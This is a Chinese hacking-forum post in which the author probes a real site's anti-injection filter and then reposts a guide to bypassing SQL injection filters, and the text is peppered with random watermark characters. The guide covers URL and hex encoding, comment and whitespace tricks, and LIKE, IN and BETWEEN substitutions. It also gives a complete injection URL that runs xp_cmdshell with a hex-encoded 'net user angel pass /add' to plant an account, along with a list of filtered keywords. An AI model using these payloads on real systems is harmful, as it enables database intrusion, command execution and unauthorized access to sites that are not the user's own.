中国网络渗透测试联盟

标题: 饶过防注入系统方法总结 [打印本页]

作者: admin    时间: 2012-9-15 14:47
标题: 饶过防注入系统方法总结
路过这个网站,检测了一下.( T6 z7 e; N8 F% G# Z
http://www.xxx.cn/Article.asp?ID=117 and 1=1
( Z5 B7 q3 e1 ^: F+ U4 V* q: v直接返回主页2 Z  _4 q6 m/ \1 }' u
http://www.xxx.cn/Article.asp?ID=117 or 1=1) w9 `4 M, S7 B, j. K; o5 z
直接返回主页1 n$ o5 H0 D6 l0 m4 q! y
http://www.xxx.cn/Article.asp?ID=117 or
/ s4 e; u+ u/ r) X( h/ ~4 {没有返回主页 没有过滤or) I- ^5 c4 l3 K) w# T: c
http://www.xxx.cn/Article.asp?ID=117 and: v, i* `1 F( k! m6 {" P" O
直接返回主页 看来过滤了and
1 B9 [, T/ V8 Q1 F3 r" ]http://www.xxx.cn/Article.asp?ID=117 or 1
+ s' _8 N  ~9 K- \- R( t没有返回主页 即没有过滤or 也没有过滤1$ W9 m8 u. O& z, o6 [4 E
http://www.xxx.cn/Article.asp?ID=117 or 1=18 b8 L6 U; F: S0 H5 G+ s
直接返回主页 很明显过滤了等号 5 l8 h. k) f$ i, F
or的特性是与and相反的.4 S- U- H: k. |& k
or 1=1 爆错 或与原页面不同+ w+ S. _! x( L6 ^% p
or 1=2 原页面相同9 U7 E) G  Q. Y* x
这样就是一个注入点
" s* }% y# g9 Q但他过滤了=号 我就用><号代替=号吧!$ R9 O( s* P* f+ n2 H& c7 U; y$ \
or 1<2 很明显是正确的,所以应该与原页面不同
, m3 ?0 o" l  H+ uor 1>2 很明显是错误的,所以应该与原页面相同
3 M* Y* y5 j4 ]; g然后看看有没有过滤其他的查询语句,比如select./ n/ [* S  u! M6 g! m
http://www.xxx.cn/Article.asp?ID=117 select
* D) G; p: G4 L9 O直接返回主页9 Q$ I3 B4 h& c; k+ ?5 |; N+ b/ x# s5 B
又迷茫了..
) ~- N- W/ x" U0 k
0 K' H$ @. g8 i" ]7 o
+ l! P% g" J- `/ l) X  Bcookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
4 _1 P( j7 l* W8 r+ }这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
4 O, @& e: L7 r1 P# V: ?================================================
+ N2 d1 Z# l" Y/ {) M1 B  ^以下是转贴:8 F& E1 j, u4 N( H8 Q  }$ t1 p
% \8 `1 z3 S2 i! Z# N+ [5 g/ R
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… " D, I. S/ w' ^( K6 j
经过我的收集,大部分的防注入程序都过滤了以下关键字:
  s! [/ m) S* R/ q3 z& j; u+ h7 k6 ^and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = 6 ~% @6 M* ~$ V) M' I1 @7 H( t, W: d
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 # S* E, K4 R1 k2 P: f
对于关键字的过滤,以下是我收集的以及我个人的一些想法。
$ q( X# e4 ~! b0 T8 x& a1、运用编码技术绕过 / g" X% a3 W: f* c( U) Y9 U
如URLEncode编码,ASCII编码绕过。例如or 1=1即
7 e' M2 d2 ]* `8 c  ~1 F) [) N%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
" P3 M9 `6 D# I3 t6 L! |, \9 Y+ Z3 s
2、通过空格绕过 + r% t% z, P( W3 y
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 ( g$ z+ E, \$ ^2 w- Y; T' s1 H
or’ swords’ =‘swords’
6 K5 Z' i* U& X,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
' T' W8 Z* e, V7 G3、运用字符串判断代替 1 ]. g7 z5 V: U0 n: K4 ^1 L9 N* g1 {
用经典的or 1=1判断绕过,如 1 i2 g; _7 t4 G+ P0 a4 j5 X
or ’swords’ =’swords’
% }* l3 \3 d5 w2 R. c,这个方法就是网上在讨论的。
7 P9 }! j! W7 U# B5 b- o% g! g% h4、通过类型转换修饰符N绕过 ) ?2 P- x, t7 [
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
% F# B& p( f' n8 [. f7 L* h& @5、通过+号拆解字符串绕过
+ W" e$ [' x5 u) `. Z/ d8 c效果值得考证,但毕竟是一种方法。如
( o' P( r3 A% ~, \. B: por ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
: Y; i# w0 b3 t5 n( e
4 u  m; X& F- g8 P+ |. B6、通过LIKE绕过 0 l/ g# j2 V8 V- m, X
以前怎么就没想到呢?如or " N' M9 q: |3 o( Z! E
’swords’ LIKE ’sw’
! W# }0 m1 n$ ]. E0 s!!!显然可以很轻松的绕过 ) c( g% f- j$ `% |7 U
“=”“>”
$ t# M( k4 h- E7 m9 X  ?的限制…… / l+ K) \7 S, X* ?7 L
7、通过IN绕过 9 J% h$ e& b. ?4 d9 j
与上面的LIKE的思路差不多,如
7 x6 J5 S! E/ E, f7 |: p6 d, Uor ’swords’ IN (’swords’) " C$ D8 R$ G& @6 q* y

- w! G: ], h- I& @8、通过BETWEEN绕过 3 j4 F* T* s9 n1 @

8 G0 ~! s, f0 j! ^or ’swords’ BETWEEN ’rw’ AND ’tw’ % Z1 ?; ^/ ?0 f; a& [9 @1 E& y
6 l: D) [7 ]* [1 D6 n( i  `
9、通过>或者<绕过
) l6 D, ^4 A5 t% ]3 C2 w( Lor ’swords’ > ’sw’ 7 N4 o* r% G" K5 b% L: |
or ’swords’ < ’tw’ , [( K  N7 J) s+ _5 |. w
or 1<3 / Z  z3 {, [" O$ K; z0 }, R
…… ( S! b2 d7 h' z( V
10、运用注释语句绕过 $ d$ y$ \% o5 F1 s. t' @% ?2 C
用/**/代替空格,如: 3 u1 l! |/ A4 H) W
UNION /**/ Select /**/user,pwd,from tbluser 5 a6 k1 ~, C- b' s" q7 H( X

: y+ G' x7 z$ w1 A. T用/**/分割敏感词,如: % r2 ^" ]0 p1 S% C8 C' O  X- @
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser 6 m# C3 T1 A) N; A4 W  A
$ C2 o6 z7 F6 j! }4 w0 e
11、用HEX绕过,一般的IDS都无法检测出来
0 m7 G, i6 `) X. L, B0x730079007300610064006D0069006E00 =hex(sysadmin) ) [- Z# i* P5 b: k+ ~
0x640062005F006F0077006E0065007200 =hex(db_owner)
8 C% N% L- d& U另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: 7 L$ V6 P- G+ }. ?
  declare @a sysname 0 {8 e; ?/ \( p$ a) G
  select @a= 1 m/ H4 h9 S) }+ d
  exec master.dbo.xp_cmdshell @a
! o# W# _0 t1 C6 x0 ?# c效果 0 G( U* k* ?3 n  }, ?2 f. c$ r
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
2 A+ D. D6 s: d; `
. ]" M( V% P# m8 L! K# J  l2 K其中的 7 o/ _* E% q$ a+ ^0 z& R! g  O
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 ) j1 d6 `6 N& e5 g, Q& k( A+ O
就是 9 _& ?3 i3 J: s( ^0 q; z" V
“net user angel pass /add”  H8 r$ h7 B- g' S; n8 k7 J+ H- ]' p

$ w% \" T0 G% t4 g* T4 ^+ S# ~% b5 u2 u一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。) {* b) b0 q% S/ c/ b$ H
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
# O7 Q' L% W! t9 b& U# k2 b4 Y另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
+ f$ }/ f! u- O3 Y+ P% fCopy code
) b6 n' z* ^' x/ P7 x+ iselect * from table exec xp_cmdshell'xxxxxxxxxx'  d0 W" P4 y* U! s  E
* O  Y% ^5 F, {5 a9 M: \( _

8 E& R+ `# g8 T% N/ `select * from table/**/exec xp_cmdshell'xxxxxxxxxx'+ L8 T4 y( T% Z% k& T
8 X9 C* n6 m( t& D* d9 L$ h

4 u, G, S0 g- {2 q1 s0 ]- o# tselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'9 A7 p# X4 K4 d2 |7 P# R
+ l$ \' U+ H; s/ n1 C

+ G5 `6 m; [" M$ F& D/ Xselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
2 M) a0 L% K( g0 n1 W9 Q5 v8 j: `
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?3 W. w7 \# O- t& f4 o9 _3 e

+ t, q7 K. t8 T7 ^/ M这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了) y! I$ a$ d1 [1 ]+ V1 _% B
可能大家早就知道了,不管怎么说,发在这里吧!
  h/ R; Y! o4 |0 F% K! J  h/ Z
! V$ R: [% ?, ^最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
( t+ v2 y5 T8 |1 z- G9 L! I% e* ~0 q' t+ z; {6 O

0 N) O% W" k2 b: I4 s/ o; F2 h6 M' A6 d) U
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
6 B$ \5 G" ~" z# V比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
1 m: m& Q' d* _9 h5 L5 y4 s. ?) h+ ?





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2